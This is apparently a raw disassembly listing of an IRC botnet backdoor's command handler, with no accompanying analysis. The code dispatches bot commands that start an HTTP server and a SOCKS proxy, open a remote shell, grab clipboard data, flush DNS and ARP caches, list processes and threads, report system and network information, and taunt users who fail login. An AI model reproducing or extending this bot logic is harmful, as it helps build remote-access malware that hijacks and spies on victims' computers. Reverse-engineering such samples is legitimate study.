		cmp	[ebp+eax+var_589], 5Ch
		pop	ecx
		jnz	short loc_411769
		lea	eax, [ebp+var_588]
		push	eax
		call	sub_413E90
		pop	ecx
		mov	[ebp+eax+var_589], bl


loc_411769:				; CODE XREF: sub_40CC09+4B4Aj
		push	[ebp+var_8C]
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_810]
		mov	[ebp+var_814], esi
		push	80h
		push	eax
		call	sub_413D8A
		mov	eax, [ebp+var_8]
		mov	edi, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_474], eax
		lea	eax, [ebp+var_588]
		mov	[ebp+var_478], edi
		push	eax
		push	[ebp+var_484]
		push	esi
		call	sub_408A5D
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1C4]
		push	offset a_e_1_0bHttpd_m ; ".e.(1.0b) ( httpd.m.d.l ) .»».  Server "...
		push	eax
		call	sub_413812
		push	ebx
		lea	eax, [ebp+var_1C4]
		push	3
		push	eax
		call	sub_4132BE
		add	esp, 20h
		mov	[ebp+var_47C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_814]
		push	ebx
		push	eax
		push	offset sub_4048F1
		push	ebx
		push	ebx
		call	dword_41F070	; CreateThread
		mov	ecx, [ebp+var_47C]
		imul	ecx, 134h
		cmp	eax, ebx
		mov	dword_45213C[ecx], eax
		jz	short loc_41181D


loc_41180B:				; CODE XREF: sub_40CC09+4C12j
		cmp	[ebp+var_468], ebx
		jnz	short loc_411838
		push	32h
		call	dword_41F050	; Sleep
		jmp	short loc_41180B
; ---------------------------------------------------------------------------


loc_41181D:				; CODE XREF: sub_40CC09+4C00j
		call	dword_41F06C	; RtlGetLastWin32Error
		push	eax
		push	offset a_e_1_0bHttpd_0 ; ".e.(1.0b) ( httpd.m.d.l ) .»».  Failed "...


loc_411829:				; CODE XREF: sub_40CC09+31BBj
					; sub_40CC09+32B5j
		lea	eax, [ebp+var_1C4]
		push	eax
		call	sub_413812
		add	esp, 0Ch


loc_411838:				; CODE XREF: sub_40CC09+319Fj
					; sub_40CC09+3299j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_411B4A
		push	ebx
		push	edi
		jmp	loc_40F660
; ---------------------------------------------------------------------------


loc_411848:				; CODE XREF: sub_40CC09+1687j
					; sub_40CC09+169Cj
		mov	esi, [ebp+esi+var_90]
		cmp	esi, ebx
		jz	short loc_41185B
		push	esi
		call	sub_413D7F
		jmp	short loc_411862
; ---------------------------------------------------------------------------


loc_41185B:				; CODE XREF: sub_40CC09+4C48j
		push	8
		call	sub_413525


loc_411862:				; CODE XREF: sub_40CC09+4C50j
		cmp	eax, ebx
		pop	ecx
		jz	loc_41217B
		push	eax
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_405FE2


loc_41187D:				; CODE XREF: sub_40CC09+5112j
		add	esp, 10h
		jmp	loc_41217B
; ---------------------------------------------------------------------------


loc_411885:				; CODE XREF: sub_40CC09+165Dj
					; sub_40CC09+1672j
		mov	eax, dword_44CC14
		cmp	eax, ebx
		jz	short loc_4118A2
		call	eax	; DnsFlushResolverCache
		test	eax, eax
		jz	short loc_41189B
		push	offset a_e_1_0bFlushdn ; ".e.(1.0b) ( flushdns.m.d.l ) .»».  DNS "...
		jmp	short loc_4118BE
; ---------------------------------------------------------------------------


loc_41189B:				; CODE XREF: sub_40CC09+4C89j
		push	offset a_e_1_0bFlush_0 ; ".e.(1.0b) ( flushdns.m.d.l ) .»».  Fail"...
		jmp	short loc_4118BE
; ---------------------------------------------------------------------------


loc_4118A2:				; CODE XREF: sub_40CC09+4C83j
		push	offset a_e_1_0bFlush_1 ; ".e.(1.0b) ( flushdns.m.d.l ) .»».  Fail"...
		jmp	short loc_4118BE
; ---------------------------------------------------------------------------


loc_4118A9:				; CODE XREF: sub_40CC09+1633j
					; sub_40CC09+1648j
		call	sub_40897F
		test	eax, eax
		jz	short loc_4118B9
		push	offset a_e_1_0bFlush_2 ; ".e.(1.0b) ( flushdns.m.d.l ) .»».  ARP "...
		jmp	short loc_4118BE
; ---------------------------------------------------------------------------


loc_4118B9:				; CODE XREF: sub_40CC09+4CA7j
		push	offset a_e_1_0bFlush_3 ; ".e.(1.0b) ( flushdns.m.d.l ) .»».  Fail"...


loc_4118BE:				; CODE XREF: sub_40CC09+4C90j
					; sub_40CC09+4C97j ...
		lea	eax, [ebp+var_1C4]
		push	0FFh
		push	eax
		call	sub_413D8A
		jmp	loc_410678
; ---------------------------------------------------------------------------


loc_4118D4:				; CODE XREF: sub_40CC09+1609j
					; sub_40CC09+161Ej
		cmp	[ebp+var_8], ebx
		jnz	short loc_4118F3
		push	ebx
		push	[ebp+var_4]
		push	offset aClipboardData ;	"-[Clipboard Data]-"
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40B2B5
		add	esp, 14h


loc_4118F3:				; CODE XREF: sub_40CC09+4CCEj
		push	ebx
		push	[ebp+var_4]
		call	sub_40857E
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40B2B5
		push	offset a_e_1_0bEnz__26 ; ".e.(1.0b) ( enz.m.d.l	) .»».	Get Clipb"...
		jmp	loc_411BED
; ---------------------------------------------------------------------------


loc_411915:				; CODE XREF: sub_40CC09+1529j
					; sub_40CC09+153Ej
		push	7
		call	sub_413506
		test	eax, eax
		pop	ecx
		jle	short loc_411928
		push	offset a_e_1_0bCmd_m_1 ; ".e.(1.0b) ( cmd.m.d.l	) .»».	Remote sh"...
		jmp	short loc_411949
; ---------------------------------------------------------------------------


loc_411928:				; CODE XREF: sub_40CC09+4D16j
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_4090ED
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_411944
		push	offset a_e_1_0bCmd_m_2 ; ".e.(1.0b) ( cmd.m.d.l	) .»».	Couldn't "...
		jmp	short loc_411949
; ---------------------------------------------------------------------------


loc_411944:				; CODE XREF: sub_40CC09+4D32j
		push	offset a_e_1_0bCmd_m_3 ; ".e.(1.0b) ( cmd.m.d.l	) .»».	Remote sh"...


loc_411949:				; CODE XREF: sub_40CC09+27F4j
					; sub_40CC09+2924j ...
		lea	eax, [ebp+var_1C4]
		push	eax
		call	sub_413812
		pop	ecx
		pop	ecx


loc_411957:				; CODE XREF: sub_40CC09+28FEj
					; sub_40CC09+2EC2j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_411B4A
		push	ebx
		push	[ebp+var_4]


loc_411964:				; CODE XREF: sub_40CC09+34F1j
		lea	eax, [ebp+var_1C4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]


loc_411974:				; CODE XREF: sub_40CC09+2A65j
		call	sub_40B2B5
		add	esp, 14h
		jmp	loc_411B4A
; ---------------------------------------------------------------------------


loc_411981:				; CODE XREF: sub_40CC09+14FFj
					; sub_40CC09+1514j
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_407F9F
		jmp	loc_40CFCA
; ---------------------------------------------------------------------------


loc_41199A:				; CODE XREF: sub_40CC09+14D5j
					; sub_40CC09+14EAj
		push	[ebp+esi+var_90]
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40AC2A
		jmp	loc_40CFCA
; ---------------------------------------------------------------------------


loc_4119B7:				; CODE XREF: sub_40CC09+14ABj
					; sub_40CC09+14C0j
		or	edi, 0FFFFFFFFh
		call	dword_41F044	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	esi, [ebp+esi+var_90]
		cmp	esi, ebx
		mov	[ebp+arg_0], eax
		jz	short loc_4119E0
		push	esi
		call	sub_413D7F
		pop	ecx
		mov	edi, eax


loc_4119E0:				; CODE XREF: sub_40CC09+4DCCj
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		cmp	eax, edi
		jnb	short loc_4119F9
		cmp	edi, 0FFFFFFFFh
		jnz	loc_41217B


loc_4119F9:				; CODE XREF: sub_40CC09+4DE5j
		push	ebx
		call	sub_4092A2
		push	eax
		lea	eax, [ebp+var_1C4]
		push	offset a_e_1_0bEnz__27 ; ".e.(1.0b) ( enz.m.d.l	) .»».	Uptime:	%"...
		push	eax
		call	sub_413812
		push	ebx
		lea	eax, [ebp+var_1C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40B2B5
		lea	eax, [ebp+var_1C4]
		push	eax
		call	sub_409833
		jmp	loc_40FBF9
; ---------------------------------------------------------------------------


loc_411A3B:				; CODE XREF: sub_40CC09+1481j
					; sub_40CC09+1496j
		push	1Fh
		call	sub_413506
		test	eax, eax
		pop	ecx
		jle	short loc_411A64
		cmp	[ebp+var_8], ebx
		jnz	loc_40CFCD
		push	ebx
		push	[ebp+var_4]
		push	offset a_e_1_0bProce_5 ; ".e.(1.0b) ( process.m.d.l ) .»».  Alrea"...
		push	[ebp+var_8C]
		jmp	loc_40D52B
; ---------------------------------------------------------------------------


loc_411A64:				; CODE XREF: sub_40CC09+4E3Cj
		push	[ebp+var_8C]
		lea	eax, [ebp+var_3DC]
		push	80h
		push	eax
		call	sub_413D8A
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_90]
		mov	[ebp+var_3E0], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_354], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_350], eax
		mov	[ebp+var_358], ebx
		jz	short loc_411AC5
		push	esi
		push	offset aFull	; "full"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_411AC5
		mov	[ebp+var_358], 1


loc_411AC5:				; CODE XREF: sub_40CC09+4E9Fj
					; sub_40CC09+4EB0j
		lea	eax, [ebp+var_1C4]
		push	offset a_e_1_0bProce_6 ; ".e.(1.0b) ( process.m.d.l ) .»».  Procc"...
		push	eax
		call	sub_413812
		push	ebx
		lea	eax, [ebp+var_1C4]
		push	1Fh
		push	eax
		call	sub_4132BE
		add	esp, 14h
		mov	[ebp+var_35C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3E0]
		push	ebx
		push	eax
		push	offset sub_4125E7
		push	ebx
		push	ebx
		call	dword_41F070	; CreateThread
		mov	ecx, [ebp+var_35C]
		imul	ecx, 134h
		cmp	eax, ebx
		mov	dword_45213C[ecx], eax
		jz	short loc_411B2F


loc_411B1D:				; CODE XREF: sub_40CC09+4F24j
		cmp	[ebp+var_34C], ebx
		jnz	short loc_411B4A
		push	32h
		call	dword_41F050	; Sleep
		jmp	short loc_411B1D
; ---------------------------------------------------------------------------


loc_411B2F:				; CODE XREF: sub_40CC09+4F12j
		call	dword_41F06C	; RtlGetLastWin32Error
		push	eax
		push	offset a_e_1_0bProce_7 ; ".e.(1.0b) ( process.m.d.l ) .»».  Faile"...


loc_411B3B:				; CODE XREF: sub_40CC09+4280j
		lea	eax, [ebp+var_1C4]
		push	eax
		call	sub_413812
		add	esp, 0Ch


loc_411B4A:				; CODE XREF: sub_40CC09+2A4Dj
					; sub_40CC09+34E9j ...
		lea	eax, [ebp+var_1C4]
		push	eax
		call	sub_409833
		jmp	loc_40D1BC
; ---------------------------------------------------------------------------


loc_411B5B:				; CODE XREF: sub_40CC09+1457j
					; sub_40CC09+146Cj
		cmp	[ebp+var_8], ebx
		jnz	short loc_411B7A
		push	ebx
		push	[ebp+var_4]
		push	offset a_e_1_0bEnz__28 ; ".e.(1.0b) ( enz.m.d.l	) .»».	Removing "...
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40B2B5
		add	esp, 14h


loc_411B7A:				; CODE XREF: sub_40CC09+4F55j
		push	[ebp+arg_4]
		call	dword_44CD70	; closesocket
		call	dword_44CC48	; WSACleanup
		call	sub_408701
		push	ebx
		call	dword_41F104	; ExitProcess


loc_411B95:				; CODE XREF: sub_40CC09+142Dj
					; sub_40CC09+1442j
		push	ebx
		lea	eax, [ebp+var_1C4]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	eax
		call	sub_4093C1
		pop	ecx
		pop	ecx
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40B2B5
		push	offset a_e_1_0bEnz__29 ; ".e.(1.0b) ( enz.m.d.l	) .»».	System In"...
		jmp	short loc_411BED
; ---------------------------------------------------------------------------


loc_411BC0:				; CODE XREF: sub_40CC09+1403j
					; sub_40CC09+1418j
		push	ebx
		lea	eax, [ebp+var_1C4]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_409675
		add	esp, 0Ch
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40B2B5
		push	offset a_e_1_0bEnz__30 ; ".e.(1.0b) ( enz.m.d.l	) .»».	Network	I"...


loc_411BED:				; CODE XREF: sub_40CC09+4D07j
					; sub_40CC09+4FB5j
		call	sub_409833
		jmp	loc_41090C
; ---------------------------------------------------------------------------


loc_411BF7:				; CODE XREF: sub_40CC09+13D9j
					; sub_40CC09+13EEj
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_4098D3
		jmp	loc_40CFCA
; ---------------------------------------------------------------------------


loc_411C10:				; CODE XREF: sub_40CC09+13AFj
					; sub_40CC09+13C4j
		cmp	[ebp+var_C], ebx
		mov	[ebp+var_274], bl
		jz	short loc_411C4F
		mov	esi, [ebp+esi+var_90]
		cmp	esi, ebx
		jz	short loc_411C4F
		push	esi
		push	[ebp+var_C]
		call	sub_413DE0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_411C4F
		push	eax
		push	offset aS_3	; "%s"
		lea	eax, [ebp+var_274]
		push	80h
		push	eax
		call	sub_413D8A
		add	esp, 10h


loc_411C4F:				; CODE XREF: sub_40CC09+5010j
					; sub_40CC09+501Bj ...
		push	[ebp+var_8C]
		lea	eax, [ebp+var_2F4]
		push	80h
		push	eax
		call	sub_413D8A
		mov	eax, [ebp+arg_4]
		push	offset a_e_1_0bLog_m_d ; ".e.(1.0b) ( log.m.d.l	) .»».	Listing	l"...
		mov	[ebp+var_2F8], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_1F0], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1EC], eax
		lea	eax, [ebp+var_1C4]
		push	eax
		call	sub_413812
		push	ebx
		lea	eax, [ebp+var_1C4]
		push	1Dh
		push	eax
		call	sub_4132BE
		add	esp, 20h
		mov	[ebp+var_1F4], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2F8]
		push	ebx
		push	eax
		push	offset sub_409913
		push	ebx
		push	ebx
		call	dword_41F070	; CreateThread
		mov	ecx, [ebp+var_1F4]
		imul	ecx, 134h
		cmp	eax, ebx
		mov	dword_45213C[ecx], eax
		jz	short loc_411CEF


loc_411CD9:				; CODE XREF: sub_40CC09+50E4j
		cmp	[ebp+var_1E8], ebx
		jnz	loc_40CFCD
		push	32h
		call	dword_41F050	; Sleep
		jmp	short loc_411CD9
; ---------------------------------------------------------------------------


loc_411CEF:				; CODE XREF: sub_40CC09+50CEj
		call	dword_41F06C	; RtlGetLastWin32Error
		push	eax
		push	offset a_e_1_0bLog_m_0 ; ".e.(1.0b) ( log.m.d.l	) .»».	Failed to"...
		jmp	loc_40D1B6
; ---------------------------------------------------------------------------


loc_411D00:				; CODE XREF: sub_40CC09+1385j
					; sub_40CC09+139Aj
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_4097BB
		push	offset a_e_1_0bEnz__31 ; ".e.(1.0b) ( enz.m.d.l	) .»».	Alias lis"...
		call	sub_409833
		jmp	loc_41187D
; ---------------------------------------------------------------------------


loc_411D20:				; CODE XREF: sub_40CC09+135Bj
					; sub_40CC09+1370j
		push	[ebp+var_8C]
		lea	eax, [ebp+var_3DC]
		push	80h
		push	eax
		call	sub_413D8A
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_90]
		mov	[ebp+var_3E0], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_354], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_350], eax
		jz	short loc_411D7A
		push	offset off_4319A8
		push	esi
		call	sub_413C30
		neg	eax
		sbb	eax, eax
		pop	ecx
		inc	eax
		pop	ecx
		mov	[ebp+var_358], eax
		jmp	short loc_411D80
; ---------------------------------------------------------------------------


loc_411D7A:				; CODE XREF: sub_40CC09+5155j
		mov	[ebp+var_358], ebx


loc_411D80:				; CODE XREF: sub_40CC09+516Fj
		lea	eax, [ebp+var_1C4]
		push	offset a_e_1_0bThrea_3 ; ".e.(1.0b) ( threads.m.d.l ) .»».  List "...
		push	eax
		call	sub_413812
		push	ebx
		lea	eax, [ebp+var_1C4]
		push	20h
		push	eax
		call	sub_4132BE
		add	esp, 14h
		mov	[ebp+var_35C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3E0]
		push	ebx
		push	eax
		push	offset sub_413329
		push	ebx
		push	ebx
		call	dword_41F070	; CreateThread
		mov	ecx, [ebp+var_35C]
		imul	ecx, 134h
		cmp	eax, ebx
		mov	dword_45213C[ecx], eax
		jz	short loc_411DEA


loc_411DD8:				; CODE XREF: sub_40CC09+51DFj
		cmp	[ebp+var_34C], ebx
		jnz	short loc_411E05
		push	32h
		call	dword_41F050	; Sleep
		jmp	short loc_411DD8
; ---------------------------------------------------------------------------


loc_411DEA:				; CODE XREF: sub_40CC09+51CDj
		call	dword_41F06C	; RtlGetLastWin32Error
		push	eax
		push	offset a_e_1_0bThrea_4 ; ".e.(1.0b) ( threads.m.d.l ) .»».  Faile"...


loc_411DF6:				; CODE XREF: sub_40CC09+4149j
		lea	eax, [ebp+var_1C4]
		push	eax
		call	sub_413812
		add	esp, 0Ch


loc_411E05:				; CODE XREF: sub_40CC09+25ACj
					; sub_40CC09+25CEj ...
		lea	eax, [ebp+var_1C4]
		push	eax
		jmp	loc_40E1F8
; ---------------------------------------------------------------------------


loc_411E11:				; CODE XREF: sub_40CC09+12DFj
					; sub_40CC09+12F4j
		push	offset aNt801	; "nt801"
		lea	eax, [ebp+var_1C4]
		push	offset a_e_1_0bEnz__32 ; ".e.(1.0b) ( enz.m.d.l	) .»».	Bot ID:	%"...
		push	eax
		call	sub_413812
		push	ebx
		lea	eax, [ebp+var_1C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40B2B5
		add	esp, 20h
		jmp	loc_4106B1
; ---------------------------------------------------------------------------


loc_411E48:				; CODE XREF: sub_40CC09+12B5j
					; sub_40CC09+12CAj
		push	dword_741F68
		call	sub_4092A2
		push	eax
		lea	eax, [ebp+var_1C4]
		push	offset a_e_1_0bEnz__33 ; ".e.(1.0b) ( enz.m.d.l	) .»».	Status:	R"...
		push	eax
		call	sub_413812
		push	ebx
		lea	eax, [ebp+var_1C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40B2B5
		add	esp, 24h
		jmp	loc_4106B1
; ---------------------------------------------------------------------------


loc_411E86:				; CODE XREF: sub_40CC09+128Bj
					; sub_40CC09+12A0j
		mov	esi, [ebp+esi+var_90]
		cmp	esi, ebx
		jz	short loc_411EB8
		cmp	[ebp+var_C], ebx
		jz	short loc_411EC7
		push	esi
		push	[ebp+var_C]
		call	sub_413DE0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_411EC7
		push	eax
		push	offset aQuitS	; "QUIT	:%s\r\n"
		push	[ebp+arg_4]
		call	sub_40B26F
		add	esp, 0Ch
		jmp	short loc_411EC7
; ---------------------------------------------------------------------------


loc_411EB8:				; CODE XREF: sub_40CC09+5286j
		push	offset dword_4321D8
		push	[ebp+arg_4]
		call	sub_40B26F
		pop	ecx
		pop	ecx


loc_411EC7:				; CODE XREF: sub_40CC09+528Bj
					; sub_40CC09+529Aj ...
		push	0FFFFFFFEh
		jmp	loc_40CFCF
; ---------------------------------------------------------------------------


loc_411ECE:				; CODE XREF: sub_40CC09+1261j
					; sub_40CC09+1276j
		push	offset aQuitDisconnect ; "QUIT :disconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_40B26F
		push	offset a_e_1_0bEnz__34 ; ".e.(1.0b) ( enz.m.d.l	) .»».	Disconnec"...
		call	sub_409833
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		jmp	loc_40CFD0
; ---------------------------------------------------------------------------


loc_411EF0:				; CODE XREF: sub_40CC09+1237j
					; sub_40CC09+124Cj
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_40B26F
		push	offset a_e_1_0bEnz__35 ; ".e.(1.0b) ( enz.m.d.l	) .»».	Reconnect"...
		call	sub_409833
		add	esp, 0Ch
		xor	eax, eax
		jmp	loc_40CFD0
; ---------------------------------------------------------------------------


loc_411F11:				; CODE XREF: sub_40CC09+120Dj
					; sub_40CC09+1222j
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_405F18
		jmp	loc_410875
; ---------------------------------------------------------------------------


loc_411F27:				; CODE XREF: sub_40CC09+1168j
					; sub_40CC09+117Dj
		push	[ebp+esi+var_90]
		push	1Fh
		push	offset aProcessList ; "Process list"
		push	offset a_p_ro_c___ ; ".p.ro.c..."
		jmp	loc_40DBDB
; ---------------------------------------------------------------------------


loc_411F3F:				; CODE XREF: sub_40CC09+F93j
					; sub_40CC09+FA8j
		mov	edi, [ebp+esi+var_90]
		cmp	edi, ebx
		jz	short loc_411F5E
		push	edi
		call	sub_413D7F
		test	eax, eax
		pop	ecx
		jz	short loc_411F5E
		push	edi
		call	sub_413D7F
		pop	ecx
		jmp	short loc_411F63
; ---------------------------------------------------------------------------


loc_411F5E:				; CODE XREF: sub_40CC09+533Fj
					; sub_40CC09+534Aj
		mov	eax, dword_42A31C


loc_411F63:				; CODE XREF: sub_40CC09+5353j
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_364], eax
		cmp	esi, ebx
		jz	short loc_411F88
		push	esi


loc_411F75:				; CODE XREF: sub_40CC09+538Ej
		lea	eax, [ebp+var_374]
		push	10h
		push	eax
		call	sub_413D8A
		add	esp, 0Ch
		jmp	short loc_411F9F
; ---------------------------------------------------------------------------


loc_411F88:				; CODE XREF: sub_40CC09+5369j
		cmp	[ebp+var_8B3], bl
		jz	short loc_411F99
		lea	eax, [ebp+var_C4]
		push	eax
		jmp	short loc_411F75
; ---------------------------------------------------------------------------


loc_411F99:				; CODE XREF: sub_40CC09+5385j
		mov	[ebp+var_374], bl


loc_411F9F:				; CODE XREF: sub_40CC09+537Dj
		mov	eax, [ebp+var_4]
		push	[ebp+var_8C]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_358], eax
		mov	eax, [ebp+var_8]
		push	80h
		mov	[ebp+var_354], eax
		lea	eax, [ebp+var_3F4]
		push	eax
		mov	[ebp+var_3F8], esi
		call	sub_413D8A
		add	esp, 0Ch
		push	[ebp+var_364]
		push	esi
		call	sub_408A5D
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1C4]
		push	offset a_e_1_0bSocks_m ; ".e.(1.0b) ( socks.m.d.l ) .»».  Server "...
		push	eax
		call	sub_413812
		push	ebx
		lea	eax, [ebp+var_1C4]
		push	11h
		push	eax
		call	sub_4132BE
		add	esp, 1Ch
		mov	[ebp+var_360], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3F8]
		push	ebx
		push	eax
		push	offset sub_406DED
		push	ebx
		push	ebx
		call	dword_41F070	; CreateThread
		mov	ecx, [ebp+var_360]
		imul	ecx, 134h
		cmp	eax, ebx
		mov	dword_45213C[ecx], eax
		jz	short loc_412050


loc_41203A:				; CODE XREF: sub_40CC09+5445j
		cmp	[ebp+var_350], ebx
		jnz	loc_40CFCD
		push	32h
		call	dword_41F050	; Sleep
		jmp	short loc_41203A
; ---------------------------------------------------------------------------


loc_412050:				; CODE XREF: sub_40CC09+542Fj
		call	dword_41F06C	; RtlGetLastWin32Error
		push	eax
		push	offset a_e_1_0bSocks_0 ; ".e.(1.0b) ( socks.m.d.l ) .»».  Failed "...
		jmp	loc_40D1B6
; ---------------------------------------------------------------------------


loc_412061:				; CODE XREF: sub_40CC09+F69j
					; sub_40CC09+F7Ej
		mov	esi, [ebp+esi+var_90]
		cmp	esi, ebx
		jz	short loc_4120BB
		push	esi
		call	sub_413D7F
		cmp	eax, ebx
		pop	ecx
		jl	short loc_4120B3
		cmp	eax, 2
		jge	short loc_4120B3
		mov	edx, [ebp+arg_18]
		mov	ecx, eax
		shl	ecx, 7
		cmp	[ecx+edx], bl
		lea	esi, [ecx+edx]
		jz	short loc_4120AB
		lea	eax, [esi+1]
		push	eax
		lea	eax, [ebp+var_1C4]
		push	offset a_e_1_0bEnz_m_1 ; ".e.(1.0b) ( enz.m.d.l	) .»».	User %s	l"...
		push	eax
		call	sub_413812
		add	esp, 0Ch
		mov	[esi], bl
		jmp	loc_410436
; ---------------------------------------------------------------------------


loc_4120AB:				; CODE XREF: sub_40CC09+5481j
		push	eax
		push	offset a_e_1_0bEnz__36 ; ".e.(1.0b) ( enz.m.d.l	) .»».	No user	l"...
		jmp	short loc_4120F8
; ---------------------------------------------------------------------------


loc_4120B3:				; CODE XREF: sub_40CC09+546Cj
					; sub_40CC09+5471j
		push	eax
		push	offset a_e_1_0bEnz__37 ; ".e.(1.0b) ( enz.m.d.l	) .»».	Invalid	l"...
		jmp	short loc_4120F8
; ---------------------------------------------------------------------------


loc_4120BB:				; CODE XREF: sub_40CC09+5461j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_4120C0:				; CODE XREF: sub_40CC09+54D3j
		push	[ebp+var_94]
		push	edi
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4120E3
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_4120C0
		jmp	loc_410436
; ---------------------------------------------------------------------------


loc_4120E3:				; CODE XREF: sub_40CC09+54C7j
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset a_e_1_0bEnz_m_1 ; ".e.(1.0b) ( enz.m.d.l	) .»».	User %s	l"...


loc_4120F8:				; CODE XREF: sub_40CC09+1BA9j
					; sub_40CC09+1BD7j ...
		lea	eax, [ebp+var_1C4]
		push	eax
		call	sub_413812
		add	esp, 0Ch
		jmp	loc_410436
; ---------------------------------------------------------------------------


loc_41210C:				; CODE XREF: sub_40CC09+F3Fj
					; sub_40CC09+F54j
		push	[ebp+var_90]
		push	offset dword_434504
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41217B
		call	sub_413487
		push	ebx
		call	dword_41F104	; ExitProcess


loc_41212E:				; CODE XREF: sub_40CC09+F15j
					; sub_40CC09+F2Aj
		push	[ebp+esi+var_90]
		xor	eax, eax
		cmp	[ebp+var_8A4], bl
		setnz	al
		push	eax
		lea	eax, [ebp+var_464]
		push	dword_42A33C
		push	eax
		call	sub_412AB7
		lea	eax, [ebp+var_464]
		push	eax
		push	offset aNickS_0	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_40B26F
		lea	eax, [ebp+var_464]
		push	eax
		push	offset a_e_1_0bEnz__38 ; ".e.(1.0b) ( enz.m.d.l	) .»».	Random ni"...
		call	sub_4098A7


loc_412178:				; CODE XREF: sub_40CC09+2791j
		add	esp, 24h


loc_41217B:				; CODE XREF: sub_40CC09+65Cj
					; sub_40CC09+668j ...
		mov	eax, [ebp+arg_24]
		jmp	loc_40CFD0
; ---------------------------------------------------------------------------


loc_412183:				; CODE XREF: sub_40CC09+B15j
					; sub_40CC09+B2Aj
		mov	esi, [ebp+esi+var_90]
		cmp	esi, ebx
		mov	[ebp+arg_0], esi
		jz	loc_40CFCD
		cmp	[ebp+var_98], ebx
		jnz	loc_40CFCD
		push	offset dword_42D588
		push	[ebp+var_94]
		call	sub_4150A0
		mov	esi, eax
		push	offset dword_438A0C
		push	ebx
		inc	esi
		call	sub_4150A0
		push	offset asc_4316C8 ; "~"
		push	eax
		call	sub_4150A0
		push	[ebp+arg_0]
		mov	edi, eax
		push	offset aHi	; "hi"
		call	sub_413C30
		add	esp, 20h
		test	eax, eax
		jz	short loc_41222B
		lea	eax, [ebp+var_C4]
		push	edi
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSNiceTry ; "NOTICE %s :Nice try, idiot. (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_40B26F
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSYouVeBe ; "NOTICE %s :You've been logged.\r\n"
		push	[ebp+arg_4]
		call	sub_40B26F
		push	edi
		push	esi
		push	offset a_e_1_0bEnz__39 ; ".e.(1.0b) ( enz.m.d.l	) .»».	*Failed	p"...


loc_412217:				; CODE XREF: sub_40CC09+567Ej
		lea	eax, [ebp+var_1C4]
		push	eax
		call	sub_413812
		add	esp, 30h
		jmp	loc_410457
; ---------------------------------------------------------------------------


loc_41222B:				; CODE XREF: sub_40CC09+55D5j
		mov	[ebp+arg_24], offset off_42A3F0


loc_412232:				; CODE XREF: sub_40CC09+5645j
		mov	eax, [ebp+arg_24]
		push	edi
